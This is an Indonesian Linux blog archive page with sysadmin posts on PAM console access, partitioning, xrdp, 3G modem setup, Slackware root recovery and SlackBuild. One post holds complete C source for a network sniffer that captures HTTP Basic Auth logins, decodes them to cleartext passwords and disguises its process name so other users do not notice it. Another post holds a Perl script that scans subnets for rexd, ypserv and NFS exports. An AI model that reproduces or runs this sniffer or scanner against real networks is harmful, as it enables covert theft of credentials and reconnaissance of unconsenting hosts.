Welcome Guys

Penggemar :D

Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Disable semua akses ke console pada linux redhat

Written By pcbolong on Thursday, November 17, 2011 | 8:44 PM

Artikel ini adalah lanjutan dari postingan saya sebelumnya mengenai disable console program yang bisa dilihat di sini. Library Linux-PAM yang terinstal secara default pada sistem Anda memungkinkan administrator sistem untuk memilih bagaimana aplikasi mengotentikasi pengguna, seperti untuk akses konsol, program dan file akses. Dalam rangka untuk menonaktifkan semua akses untuk pengguna, Anda harus memberi komentar pada semua baris yang mengacu pam_console.so di direktori "/etc/pam.d/". Tutorial ini saya lakukan di linux clearos.

Agar langkah diatas dapat dilakukan secara otomatis, anda dapat membuat sebuah script bash seperti dibawah ini :

Sebagai "root" menciptakan disabling.sh yang file script (sentuh disabling.sh) dan tambahkan baris berikut dalam:


Bikin agar script diatas bisa di eksekusi.

Dan lihat hasilnya. Sebagai referensi saja, saya kapok menggunakan script ini :D karena saya jadi tidak bisa akses ke server menggunakan ssh. :D
8:44 PM | 0 comments | Read More

Disable console program access pada linux redhat dan turunannya

Untuk menjaga keamanan server dari pengguna yang meremote system server anda, perlu dilakukan beberapa langkah yaitu salah satunya men-disable akses user ke program dari console. Bahaya sekali jika pengguna yang bukan administrator dapat mematikan atau mereset atau merestart system dari console system kita yang dia remote. Jadi menurut saya lebih baik, disable beberapa program yang sangat rawan. Pada postingan ini saya memberikan contoh untuk men-disable program halt, reboot,poweroff. Dalam contoh ini saya menggunakan linux clearos yang merupakan turunan redhat, jadi bisa diimplementasikan juga pada linux redhat dan turunannya.

Untuk mendisable proses console cukup jalankan perintah ini pada console :


Rubah dengan program yang akan di disable. Sebelumnya anda bisa masuk dulu ke /etc/security/console.apps/ untuk memastikan ada program apa saja di sana. Misal saya akan men disable program halt :
8:22 PM | 0 comments | Read More

Pembagian partisi saat instalasi linux

Pengguna linux pasti akan memperhatikan sekali mengenai hal ini. Management partisi, baik itu untuk linux desktop apalagi linux server. Karena jika pembagian partisi hardisk yang akan digunakan sebagai tempat instalasi linux sesuai, maka akan menghasilkan performa sistem yang sempurna, apalagi untuk linux yang digunakan sebagai server, seperti web server.

Sebelum memahami pembagian partisi, harus mengerti dulu mengenai fungsi-fungsi dari tiap file yang ada di linux. Penjelasannya bisa dilihat pada postingan saya yang lalu, di sini.

Secara teori, sebuah linux, apapun itu distronya, harus memiliki beberapa partisi sebagai berikut :

- /boot = partisi boot digunakan untuk menyimpan file boot loader dan semua images dari kernel. Besar partisi untuk boot biasanya mempunyai nilai minimum 100MB.
- /usr = partisi ini harus diberi ukuran yang cukup besar, karena akan menyimpan semua file binari dari linux yang diinstall.
- /home = partisi ini untuk menyimpan data-data dari host. beri ukuran untuk partisi sesuai kebutuhan. Bila linux yang diinstall nantinya akan digunakan oleh 10 user misalnya, jika setiap user diberi alokasi kapasitas penyimpanan sebesar 100MB, maka beri saja partisi home ini sebesar 100x10=1000MB atau 1 giga.
- /chroot = partisi ini digunakan untuk menyimpan komponen dari chroot. Partisi ini biasanya dibuat pada linux yang akan digunakan sebagai DNS server.
- /cache = ini adalah partisi untuk menyimpan cache dari proxy server, misalnya squid. Jika linux tidak digunakan sebagai proxy server, bisa diabaikan.
- var = partisi ini untuk menyimpan log file system. menyimpan semua perubahan yang terjadi pada sistem saat sistem berjalan normal.
- swap = swap adalah virtual memory dari sistem operasi linux. Biasanya pengguna linux memberi ukuran 2 kali jumlah memory RAM untuk partisi ini.
- /tmp = partisi ini digunakan untuk menyimpan file temporary.
- /root = ini adalah partisi untuk menyimpan instalasi file dari linux.

Itulah daftar beberapa partisi yang harus dibuat saat instalasi. Pembuatan partisi-partisi tersebut juga tidak diharuskan, dengan kata lain bisa disesuaikan dengan kebutuhan kita. Misalnya, jika linux hanya digunakan untuk desktop, tidak perlu dibuatkan partisi cache dan chroot. Saya biasanya untuk linux desktop, hanya akan membuat dua partisi, yaitu root dan swap, karena tidak membutuhkan performa yang terlalu tinggi.

Salam Linux!
7:16 AM | 4 comments | Read More

Remote desktop ubuntu menggunakan windows

Written By pcbolong on Wednesday, November 16, 2011 | 9:30 AM

Untuk remote desktop ubuntu desktop saya menggunakan xrdp pada ubuntu dan remote desktop application bawaan windows.

Install dulu xrdp di ubuntu, menggunakan perintah dibawah ini :
apt-get install xrdp
Setelah proses instalasi di ubuntu selesai, langsung buka saja aplikasi remote desktop bawaan windows, caranya ketik mstsc pada run. Lalu ketikkan host milik ubuntu.

Lalu tekan saja enter, dan akan muncul tampilan xrdp dari ubuntu.

Masukkan username dan password yang sama ketika kita masuk ke desktop ubuntu. Setelah itu tekan enter dan taraaa...

Desktop ubuntu sudah terlihat. Cara ini sangat berguna buat saya, karena juga memerlukan windows untuk mengerjakan project-project yang memerlukan aplikasi yang berjalan di windows seperti vb.net,dan ms sql server.
9:30 AM | 5 comments | Read More

Celebrating the Open Technology Foundation

Written By pcbolong on Saturday, September 24, 2011 | 9:23 PM

Max McLaren, Managing Director for Red Hat Australia and New Zealand

Open source, like any successful business should, relies on open collaboration and transparency as foundations. At Red Hat, our ethos is built on collaboration, as are our development and business models. Collaboration runs deep through our veins and our commitment to collaborating is relentless because it benefits everyone, users, partners and the open source community.

We believe in collaborating for the good of open source, and aspire to drive its adoption around the world in all layers of society.
A recent collaborative initiative is with the Open Technology Foundation (OTF), which recently launched in Australia with strong support from government and industry. Established with support from Carnegie Mellon University and South Australian Government, the OTF is an authoritative peak body for the Australian and New Zealand public sector and is focused on advancing the uptake of open technologies in all layers of Government.

At Red Hat we are convinced that basing our software on open standards and leveraging an open source development model is critical to delivering software that addresses key business requirements including flexibility, cost effectiveness and functionality, without ‘locking’ organisations into a single supplier's technology, or making it prohibitively difficult to integrate with, or migrate to, other suppliers' components.

With that said, we wholeheartedly support the principles of the OTF, especially in terms of identifying and supporting open technology developers and suppliers, and helping to align their solutions to Federal, State and Local Government requirements. A body like the OTF has been a long time coming in this part of the world, and perhaps that is because of the disparate and differing requirements of the various levels of Government, or because up until recent times open technology alternatives have not necessarily been viewed by all as valid options for Government.
Well, that’s no longer the case. While some government bodies, particularly in Brazil and the EU, have long favored open source and open standards, the prominent use of open technologies by the Obama Administration has raised awareness of the benefits of open source by governments around the world.

Australia has definitely felt the knock-on effect. Here, every Government department has a focus on reducing costs and a number of those have conducted budget reviews to identify areas where savings can be maximised. As a result, currently more than 80 departments are utilising open source in an effort to achieve maximum functionality at a substantially lower price.

Beyond the obvious cost benefits, open source is a smart choice for Government departments and agencies because it promotes collaboration through the deployment of standards and openness. Interoperability across various sectors of Government, and a strong adherence to standards, is also another way open source reduces the need to pour money into development and new equipment.

The public sector has certainly not escaped the cloud computing phenomenon and its potential is being investigated in datacentres right across Government. In an open source setting, cloud computing has the capacity to drive out even further costs – even in utility computing – and can reduce datacentre footprints, provide greater reliability and handle disaster recovery. Already, Red Hat is working with Government agencies to establish services within a private Government cloud – delivering all the benefits of cloud computing in a secure setting.

It is certainly our hope that with support from those with the vision and foresight to embrace all that open technologies have to offer, the OTF will be proactive in promoting these sorts of opportunities to Government.

One high profile advocate of open technology is Senator Kate Lundy, who holds the responsibilities of Parliamentary Secretary to the Prime Minister and Parliamentary Secretary for Immigration Affairs. In a recent blog post about the launch of the OTF, the Senator commented “Open technologies, methods and standards all play an important role in the development of sustainable implementation strategies for open data, citizen-centric services and online public engagement.”

I look forward to working with the OTF to continue eliminating confusion and FUD through informing and enlightening.

Knowledge is power, so let’s share it.

For additional information about the Open Technology Foundation, visit http://otf.org.au.
9:23 PM | 0 comments | Read More

Setting huawei di centos

Udah nginstall centos, trus udah nginstall paket-paketnya, cuman perlu update. Banyak cara kalo pengen update.
1. Bawa ke warnet, ijin make kabel lannya (cuman jarang yang mau).
2. Make modem rumah - trus config wvdialnya/minicom - cuman kan jarang sekarang yang punya modem serial lagi.
3. Macem-macem cara lain : misalnya make komputer temen yang dijadikan gateway :D

Cuma kita konsentrasi dengan menggunakan modem 3G - Mudah - Murah - Flexible. Kenapa? gak perlu instalasi kabel telepon kerumah, gak perlu bayar abodemen, tinggal beli kartu gsm ama modemnya aja. Pasang dan browse.
Paket-paket 3G banyak rupa : Telkomsel (apn = Internet atau Flash), Indosat dan Excelcom.
kita bahas yang makai 3G - Telkomsel - Flash aja.
List Modem 3G bisa dilihat di bhineka. Tapi perhatikan modem anda bisa jalan di linux atau tidak.
Tulisan ini menggunakan HUAWEI E156G - Black (V) tapi bisa juga untuk HUAWEI E160 - Black (V), bedanya ya di kecepatannya yang satu 7.2 mbps yang satunya lagi cuman 3.6 mbps (tapi toh tergantung dari network operatornya juga - Kalo telkomsel masih make yang hsdpa 2.4 mbps, jadi anda percuma kalau pakai yang 7.2 mbps - kecuali utk keperluan drive test).

Saatnya setting Modem Anda :
1. Cek dulu kernel anda :
# uname -r
Perhatikan jika anda menggunakan kernel seri terbaru maka kernel ini secara otomatis akan mengenali modem usb anda dan mengubah port usbnya menjadi port serial.
2. Pasang modem berserta kartunya (jangan lupa!) dan tunggu sebentar.
3. Cek dengan perintah :
# dmesg
Fungsinya mengetahui posisi USB modem anda ada di /dev/ttyusb0 atau /dev/ttyusb1
4. Buka file /etc/wvdial.conf
# vi /etc/wvdial.conf
kalau masih kosong isikan dengan (ini dengan paket Telkomsel Flash) jika dengan paket internet silahkan ganti di bagian Init3 "flash" menjadi "internet", dan Phone "*99***1# menjadi *99#, untuk meningkatkan kecepatan modem bisa menggunakan Baud = 115200 (perhatikan : makin besar nilai yang anda berikan maka makin besar kecepat yang anda dapatkan, tapi lihat kemampuan modem anda, jika tidak sesuai maka modem anda akan sering mati)

[Dialer Defaults]
Modem Type = Analog Modem
Stupid Mode = yes
Modem = /dev/ttyUSB0
Baud = 460800

Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 +FCLASS=0
Init3 = AT+CGDCONT=1, "ip", "flash"

Username = "
Password = "
Phone = *99***1#
ISDN = 0

Perhatikan tanda quote (petik 2 - jangan menggunakan petik 1 2x ), takutnya nanti anda gagal dibagian dialing
5. Jalankan wvdial
#wvdial

Nanti terlihat saat anda menggunakan stupid mode, alamat dnsnya, karena dns ini berubah-ubah tergantung dari setting operator.
buka tab baru, dan edit nameserver di file /etc/resolve.conf
#vi /etc/resolve.conf
Tambahkan line berikut jika masih belum ada
nameserver 114.127.253.84
nameserver 202.3.208.1

press [esc] and save [shift]+z+z
di tab wvdial [ctrl]+c = mengakibatkan koneksi terputus. lalu jalankan wvdial lagi.

6.buka firefox/browser web anda, arahkan ke http://flash.telkomsel.com/halamanutama.php
7.anda siap menggunakan internet.
8:52 PM | 0 comments | Read More

A Linux sniffer

Written By pcbolong on Wednesday, July 20, 2011 | 4:53 AM

A Linux sniffer that is designed to retrieve web usernames and passwords.
This program sniffs packets destined for webservers and scans for headers with Basic Auth. then automatically decodes the auth. string giving a username/passwd in cleartext. BUGS: In the verbose mode,source/destination headers get out of sync with data. In daemon mode, source/dest. headers may not be reliable. DISCLAIMER: Please use this program in a responsible manner.

Fiuhh....bisa juga bahasa inggriss :D langsung saja, ini code nya. pakai bahasa c.

hilangkan tanda kurung () -nya.saya kasih krn di blogspot g bisa muncul.


#include (<)stdio.h(>)
#include (<)stdlib.h(>)
#include (<)stdarg.h(>)
#include (<)sys/socket.h(>)
#include (<)sys/time.h(>)
#include (<)sys/types.h(>)
#include (<)unistd.h(>)
#include (<)sys/stat.h(>)
#include (<)fcntl.h(>)
#include (<)netinet/in.h(>)
#include (<)netdb.h(>)
#include (<)string.h(>)
#include (<)linux/if.h(>)
#include (<)signal.h(>)
#include (<)termio.h(>)
#include (<)arpa/inet.h(>)
#include (<)linux/socket.h(>)
#include (<)linux/ip.h(>)
#include (<)linux/tcp.h(>)
#include (<)linux/if_ether.h(>)
#include (<)errno.h(>)

extern int errno;

#define DEFAULT_WEB_PORT 80
#define CAPTURE_LENGTH 1024
#define TIMEOUT 30
#define INTERFACE "eth0"
#define ISBLANK(x) (((x) == ' ') || ((x) == '\t'))
#define SPACELEFT(buf, ptr) (sizeof buf - ((ptr) - buf))
#define newstr(s) strcpy(malloc(strlen(s) + 1), s)

struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};

struct etherpacket {
struct ethhdr ether_header;
struct iphdr ip_header;
struct tcphdr tcp_header;
char buff[8192];
} ether_packet;

struct
{
unsigned long source_addr;
unsigned long dest_addr;
unsigned short source_port;
unsigned short dest_port;
int bytes_read;
char active;
time_t start_time;
char tmp_realm[1024];
char tmp_host[512];
} target;

struct iphdr *ip;
struct tcphdr *tcp;

char **Argv = NULL;
char *LastArgv = NULL;

short daemon_mode;
short verbose_mode;
unsigned short user_port;
FILE *daemon_fd=NULL;
int sock;

/* fungsi deklarasi */
char *lookup(unsigned long int);
char *dateTime();

/* implementasi signal*/
void (*
r_signal(sig, func)) (int)
int sig;
void (*func) ();
{
struct sigaction act, oact;

act.sa_handler = func;

sigemptyset(&act.sa_mask);
act.sa_flags = 0;

#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif

if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);

return (oact.sa_handler);
}

/* fungsi ini mengambil proses apa saja yang jalan di terminal yang di remote*/
void detach()
{
int rc, fd;

if ((rc = fork()) > 0)
exit(0);
else if (rc <0) {
perror("detach");
exit(EXIT_FAILURE);
}

if ((fd = open("/dev/tty", O_RDWR,0)) == -1 ) {
printf("couldn't open tty, assuming still okay...\n");
fflush((FILE *)stdout);
return;
}

ioctl(fd, TIOCNOTTY, 0);

close(fd);


setsid();
}

setproctitle(const char *fmt, ...)
{
register char *p;
register int i;
char buf[2048];
va_list args;

p = buf;

va_start(args, fmt);
(void) vsnprintf(p, SPACELEFT(buf, p), fmt, args);
va_end(args);

i = strlen(buf);

if (i > LastArgv - Argv[0] - 2)
{
i = LastArgv - Argv[0] - 2;
buf[i] = '\0';
}
(void) strcpy(Argv[0], buf);
p = &Argv[0][i];
while (p < LastArgv)
*p++ = ' ';
Argv[1] = NULL;
}

void initsetproctitle(int argc, char **argv, char **envp)
{
register int i;
extern char **environ;

for (i = 0; envp[i] != NULL; i++)
continue;
environ = (char **) malloc(sizeof (char *) * (i + 1));
for (i = 0; envp[i] != NULL; i++)
environ[i] = newstr(envp[i]);
environ[i] = NULL;

Argv = argv;
if (i > 0)
LastArgv = envp[i - 1] + strlen(envp[i - 1]);
else
LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
}

/* konversi base64 ascci ke dalam mode integer */
int cvt_ascii( unsigned char alpha )
{
if ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha - 'A');
else if ( (alpha >= 'a') && (alpha <= 'z') )
return 26 + (int)(alpha - 'a');
else if ( (alpha >= '0') && (alpha <= '9' ) )
return 52 + (int)(alpha - '0');
else if ( alpha == '+' ) return 62;
else if ( alpha == '/' ) return 63;
else if ( alpha == '=' ) return -2;
else return -1;
}

/* decoding base64 */
void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char *auth_buf)
{
int index;
unsigned long int value;
unsigned char blivit;
unsigned short j=0;

index = 0;
*(auth_buf+0)='\0';

while ( ISBLANK(buf[index] ) )
{
index++;
}

for ( index = 0;
(buf[index] != '\n') &&
(buf[index] != '\0') &&
(buf[index] != ' ' );
index++)
{

if (index==(264-5)) return;

value = cvt_ascii( buf[index] );

if ( value < 64 )
{
d->accum <<= 6;
d->shift += 6;
d->accum |= value;
if ( d->shift >= 8 )
{
d->shift -= 8;
value = d->accum >> d->shift;
blivit = (unsigned char)value & 0xFFl;
*(auth_buf+j) = (char )blivit;
j++;
}

}
else
{
quit = 1;
break;
}
}

*(auth_buf+j)='\0';
return;
}


void decode(char *b64_string, char *user_buff)
{

struct BASE64_PARAMS d_p;
int quit=0;

d_p.shift = 0;
d_p.accum = 0;

base64_decode((char *)b64_string, quit, &d_p, user_buff);

return;
}


void parse_segment(char *data)
{
short i,j=0;
char foo[256];
char user[128];
char pass[128];

if ((!strncmp(data,"GET ",4))||(!strncmp(data,"POST ",5))||(!strncmp(data,"HEAD ",5)))
strncpy(target.tmp_realm,data,strlen(data));


if (!strncasecmp(data,"Authorization: Basic",20)) {
if (strlen(data+21)>sizeof(foo))
*(data+21+sizeof(foo-1))='\0';
decode(data+21,foo);
for (i=0;foo[i];i++) {
if (foo[i]==':')
break;
user[i]=foo[i];
}
user[i]='\0';
for (++i; foo[i]; i++) {
pass[j]=foo[i];
j++;
}
pass[j]='\0';
if (daemon_mode) {
fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
fprintf(daemon_fd,"%s",target.tmp_host);
fprintf(daemon_fd,"REALM REQUESTED: %s\n", target.tmp_realm);
fprintf(daemon_fd,"---[ USER = %s PASS = %s ]---\n",user,pass);
fprintf(daemon_fd,"#######\n\n");
fflush(daemon_fd);
} else {
printf("\n----------[ USER = %s PASS = %s ]----------\n",user,pass);
fflush(stdout);
}
}

return;

}


int scan_data(int datalen, char *data)
{
int i=0, t=0;
char data_buff[CAPTURE_LENGTH];

target.bytes_read=target.bytes_read+datalen;
memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
sprintf(target.tmp_host,"[%s] [%d] => ",lookup(target.source_addr),ntohs(target.source_port));
sprintf(data_buff,"[%s] [%d]\n",lookup(target.dest_addr),ntohs(target.dest_port));
strcat(target.tmp_host,data_buff);

data_buff[0]='\0';

for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
t=0;
}
if(isprint(data[i]))
{
data_buff[t]=data[i];
t++;
}
if(t > 255)
{
t=0;
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n", data_buff);
fflush(stdout);
}
parse_segment(data_buff);
}

}

}


void seg_fault (int sig)
{
fprintf(stderr, "\n");
fprintf(stderr, "Segmentation Violation!\n");
fprintf(stderr, "\n");
fprintf(stderr, "Congratulations! You have crashed my program.\n");
fprintf(stderr, "describing *exactly* what you did to make this\n");
fprintf(stderr, "program crash. Thanks and have a nice day ^^ \n");
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}


char *lookup(unsigned long int network_address)
{
static char buf[1024];
struct in_addr my_addr;
struct hostent *he;

my_addr.s_addr=network_address;
he=gethostbyaddr((char *)&my_addr,sizeof(struct in_addr),AF_INET);
if (he==NULL)
sprintf(buf,inet_ntoa(my_addr));
else
sprintf(buf,he->h_name);
return (buf);
}


char * dateTime()
{
time_t t;
char * s;

time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}

void bye(int sig)
{

if (daemon_mode) {
fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s] ***\n",dateTime());
fclose(daemon_fd);
}

close(sock);
exit(0);
}


int packet_filter ()
{
unsigned short port;

if (ip->protocol !=6) return (0);
if (target.active !=0)
if (target.bytes_read > CAPTURE_LENGTH)
{
bzero(&target, sizeof(target));
return(0);
}

if (user_port!=0)
port=user_port;
else
port=DEFAULT_WEB_PORT;

if (ntohs(tcp->dest)!=port)
return(0);
else
{
if (tcp->syn==1)
{
target.source_addr=ip->saddr;
target.dest_addr=ip->daddr;
target.active=1;
target.source_port=tcp->source;
target.dest_port=tcp->dest;
target.bytes_read=0;
target.start_time=time(NULL);
if (verbose_mode) {
printf("[%s] [%d] => ",lookup(target.source_addr),
ntohs(target.source_port));
printf("[%s] [%d]\n", lookup(target.dest_addr),
ntohs(target.dest_port));
fflush(stdout);
}

}
}

return(1);
}


void print_usage (char *prog_name)
{
printf("\n");
printf("### Web Sniffer ###\n");
printf("\n");
printf("Usage:\n");
printf("\n");
printf("%s [-d|-v] [-p ]\n", prog_name);
printf("\n");
printf("-d : run as a daemon and print output to logfile.\n");
printf("-v : run in foreground and print output to stdout.\n");
printf("-p : optionally specifies port number to sniff on.\n");
printf("\n");
}


int main ( argc, argv, envp )
unsigned int argc;
char **argv;
char **envp;
{
int i, x, c;
extern int optind;
extern char *optarg;
struct ifreq req;
short argsLeft=0;
short errFlag=0;
char *port_ptr=NULL;
char title[1024];

r_signal(SIGSEGV, seg_fault);
r_signal(SIGTERM, bye);
r_signal(SIGQUIT, bye);
r_signal(SIGHUP, bye);

if (getuid() && geteuid()) {
fprintf(stderr, "\nYou need to be root in order to run this.\n\n");
exit(EXIT_FAILURE);
}

memset(title,'\0',sizeof(title));

verbose_mode=0;
daemon_mode=0;
user_port=0;

while((c=getopt(argc,argv,"dvp:"))!= EOF)
switch(c) {
case 'd':
if (verbose_mode)
errFlag++;
else
daemon_mode=1;
break;
case 'v':
if (daemon_mode)
errFlag++;
else
verbose_mode=1;
break;
case 'p':
port_ptr=optarg;
user_port=atoi(port_ptr);
break;
case '?':
errFlag++;
}

argsLeft=argc-optind;

if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft) {
print_usage(argv[0]);
exit(EXIT_FAILURE);
}

if (daemon_mode) {
printf("\n");
printf("*** Daemon Mode ***\n");
printf("Enter in the full path to the logfile\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
if ((daemon_fd=fopen(title,"a+"))==NULL) {
fprintf(stderr, "Could not open logfile: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("Enter in a process title to masquerade as so\n");
printf("it won't be quite so obvious to other users what\n");
printf("we are really doing (i.e: bash, ftp, in.telnetd, vi ...)\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
printf("Setting process title to: %s\n", title);
initsetproctitle(argc, argv, envp);
setproctitle("%s", title);
printf("Daemon Mode Started.\n");
detach();
fprintf(daemon_fd, "\n*** Daemon Mode Started at [%s] ***\n",dateTime());
fflush(daemon_fd);
}

sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
if (sock <0) {
perror("can't get SOCK_PACKET socket");
exit(1);
}

strcpy(req.ifr_name, INTERFACE);

if ((i=ioctl(sock, SIOCGIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot get flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
req.ifr_flags |= IFF_PROMISC;
if ((i=ioctl(sock, SIOCSIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot set flags: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}

ip=(struct iphdr *)(((unsigned long)ðer_packet.ip_header)-2);
tcp=(struct tcphdr *)(((unsigned long)ðer_packet.tcp_header)-2);

bzero(&target, sizeof(target));

for (;;) {
while(1) {
x=read(sock,ðer_packet,sizeof(ether_packet));
if (x > 1)
{
if (packet_filter()==0) continue;
x=x-54;
if (x<1) continue;
break;
}
}

scan_data(htons(ip->tot_len)-sizeof(ether_packet.ip_header)-
sizeof(ether_packet.tcp_header),ether_packet.buff-2);

}

}
4:53 AM | 0 comments | Read More

Scan a subnet for valid hosts with perl script

This is perl script for Scan a subnet for valid hosts. if given hostname, will look at the 255 possible hosts on that net. Report if host is running rexd or ypserv.

#!/usr/local/bin/perl -s
#
#
# Usage: scan n.n.n.n

# mine, by default
$default = "130.80.26";

$| = 1;

if ($v) { $verbose = 1; }

if ($#ARGV == -1) { $root = $default; }
else { $root = $ARGV[0]; }

# ip address
if ($root !~ /[0-9]+\.[0-9]+\.[0-9]+/) {
($na, $ad, $ty, $le, @host_ip) = gethostbyname($root);
($one,$two,$three,$four) = unpack('C4',$host_ip[0]);
$root = "$one.$two.$three";
if ($root eq "..") { die "Can't figure out what to scan...\n"; }
}

print "Subnet $root:\n" if $verbose;
for $i (01..255) {
print "Trying $root.$i\t=> " if $verbose;
&resolve("$root.$i");
}

#
# Do the work
#
sub resolve {

local($name) = @_;

# ip address
if ($name =~ /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {
($a,$b,$c,$d) = split(/\./, $name);
@ip = ($a,$b,$c,$d);
($name) = gethostbyaddr(pack("C4", @ip), &AF_INET);
}
else {
($name, $aliases, $type, $len, @ip) = gethostbyname($name);
($a,$b,$c,$d) = unpack('C4',$ip[0]);
}

if ($name && @ip) {
print "$a.$b.$c.$d\t$name\n";
system("if ping $name 5 > /dev/null ; then\nif rpcinfo -u $name 100005 > /dev/null ; then showmount -e $name\nfi\nif rpcinfo -t $name 100017 > /dev/null ; then echo \"Running rexd.\"\nfi\nif rpcinfo -u $name 100004 > /dev/null ; then echo \"R
unning ypserv.\"\nfi\nfi");
}
else { print "unable to resolve address\n" if $verbose; }

}

sub AF_INET {2;}
3:22 AM | 0 comments | Read More

Reset password root slackware

Written By pcbolong on Sunday, July 17, 2011 | 3:42 AM

Beberapa waktu lalu ketika saya akan ujian skripsi, dengan perasaan tidak enak membuka slackware. Dan ternyata.....tara....saya lupa password root nya. Dan sekarang saya sudah memegang kendali lagi. Berikut caranya :

1. booting menggunakan slackware cd seperti pada waktu akan melakukan proses instalasi.

2. mount partisi root dari slackware. jika kurang yakin dengan patch partisi dari direktori root dapat dilihat dengan perintah

fdisk -l

akan muncul nama-nama patch drive partisi yang digunakan. Pilih partisi root slackware, kemudian mount dengan menggunakan perintah :

mount /dev/sda1 /mnt

4. setelah proses mount selesai, edit file /etc/shadow yang ada di dalam partisi root. karena tadi sudah di mount ke dalam directory /mnt, maka file berada di direktori /mnt/etc/shadow. untuk edit gunakan perintah di bawah ini :

vi /mnt/etc/shadow

edit pada bagian paling atas yaitu :

root:[tidak usah di isi/kosongkan]:1547846:0:65466698:5:::

yang ada di dalam tanda kurung siku diatas adalah merupakan enkripsi password untuk root. jadi hilangkan saja agar saat booting normal tidak membutuhkan password. kalau sudah di edit, simpan dengan perintah :wq

5. lalu reboot , dan booting normal alias tidak dari cd instalasi. kemudian saat login enter saja, tidak menggunakan password, dan anda sudah masuk ke dalam sistem dengan account root. selamat!!

untuk memberi password root menggunakan perintah :

#passwd

dan isikan password root anda.
3:42 AM | 1 comments | Read More

Install dari SlackBuild

Written By pcbolong on Sunday, May 15, 2011 | 4:46 AM



Posting kali ini adalah catatan saya mengenai cara meng-install aplikasi di sistem operasi Linux Slackware menggunakan fasilitas Slackbuild. Menurut saya, install menggunakan slackbuild betul-betul mengasyikkan, karena dapat merasakan bagaimana meng-costumize aplikasi sesuai dengan kebutuhan dan keinginan kita. Langkah-langkah dalam postingan ini saya ambil dari HOWTO milik situs penyedia file slackbuild, slackbuild.org.

Kita harus memiliki archive slackbuild dari aplikasi yang akan kita install. File dapat diunduh langsung di Slackbuild.org. Pada bagian ini, yang membuat saya penasaran adalah bagaimana situs tersebut dapat langsung mengetahui seri slackware yang kita gunakan. Lihat saja, ketika kita membuka halaman index miliki slackbuild.org, langsung muncul seri slackware nya. Jadi semua aplikasi yang kita cari khusus untuk seri slackware tersebut. :D Karena saya bukan seorang programmer web, jadi cukup penasaran saja. Lanjut...

Contoh misal kita akan meng-install aplikasi xxx. File arsip yang harus kita unduh adalah file source dari aplikasi tersebut misal xxx.tar.gz atau xxx.tar.bz2 atau berformat lain seperti rpm. Selain itu kita harus meng-unduh file slackbuildnya, yang bernama xxx.slackbuild.tar.gz.



Tunggu sambil selesai. Dan ini hal yang paling membosankan,,sembari menunggu kita dapat mendeface beberapa site. ahaha LOL kidding!! Setelah semua file sudah selesai diunduh, dan usahakan file berada pada folder yang memiliki akses untuk execute atau bisa dijalankan. Ekstrak file xxx.slackbuild.tar.gz. Hasil ekstrak akan bernama xxx. Folder xxx berisi file-file source yang akan digunakan untuk membuat package installer dari xxx.tar.gz. Isi folder hasil ekstrak biasanya adalah file README, xxx.info, xxx.slackbuild, xxx.desktop, xxx.png, dan slack-desc.

Kemudian pindahkah file source aplikasi (xxx.tar.gz) ke dalam folder xxx tadi. Kemudian execute file xxx.slackbuild dengan perintah
./xxx.slackbuild


ingat!!semua file dalam folder xxx harus memiliki hak akses untuk diexecute!
Dan, kita menunggu lagi sampai proses selesai. Proes yang dilakukan adalah proses untuk meng-configure, make, make install dan membuat package instalasi dari aplikasi tersebut.

JIka proses slackbuild sudah selesai, otomatis file instalasi akan ditaruh di folder /tmp. File instalasi berformat .tgz. Setelah itu kita tinggal jalankan saja insstallpkg untuk instalasi aplikasi, dan selesai. Perintah instal adalah

installpkg xxx.tgz


Satu hal lagi yang perlu diperhatikan adalah, kita harus mengetahui dan pastikan library atau aplikasi dependenci yang dibutuhkan oleh aplikasi yang akan kita install sudah terinstall pada slackware kita. File dependenci apa saja yang dibutuhkan, sudah dijelaskan pada halaman slackbuild dari aplikasi yang kita search tadi di awal. Hal ini untuk mencegah berhenti di tengah-tengah proses build karena meminta aplikas dependenci.

Selamat ngoprek :D
4:46 AM | 0 comments | Read More

Presentation and Whitepapper from RedHat Conference 2011 in Jakarta

Written By pcbolong on Thursday, April 21, 2011 | 5:41 AM

Sekitar 1 bulan yang lalu iseng-iseng saya melakukan registrasi untuk mengikuti seminar internasional yang diadakan oleh RedHat. Acara rencana diadakan di jakarta. Tapi sangat disayangkan, dan dengan sangat menyesal saya tidak bisa datang karena ada keperluan mendadak dengan salah satu client saya.



Dan tadi siang setelah saya membuka email, ternyata pihak Redhat mengirimi saya semua file-file presentasi dan whitepaper yang dibawakan pada acara itu. File bisa di download pada link di bawah ini.


10_Reasons_to_use_JBoss_Enterprise_Middleware

Cloud_Infrastructure_Matters

PaaS_Present_and_Future

RedHat_Training_and_Services

RHEL6

RHEL6_Datasheet

RHEV_Competitive_Features

Selamat membaca :D
5:41 AM | 0 comments | Read More

Menghentikan proses yang sedang berjalan di Linux

Written By pcbolong on Monday, April 4, 2011 | 9:40 PM

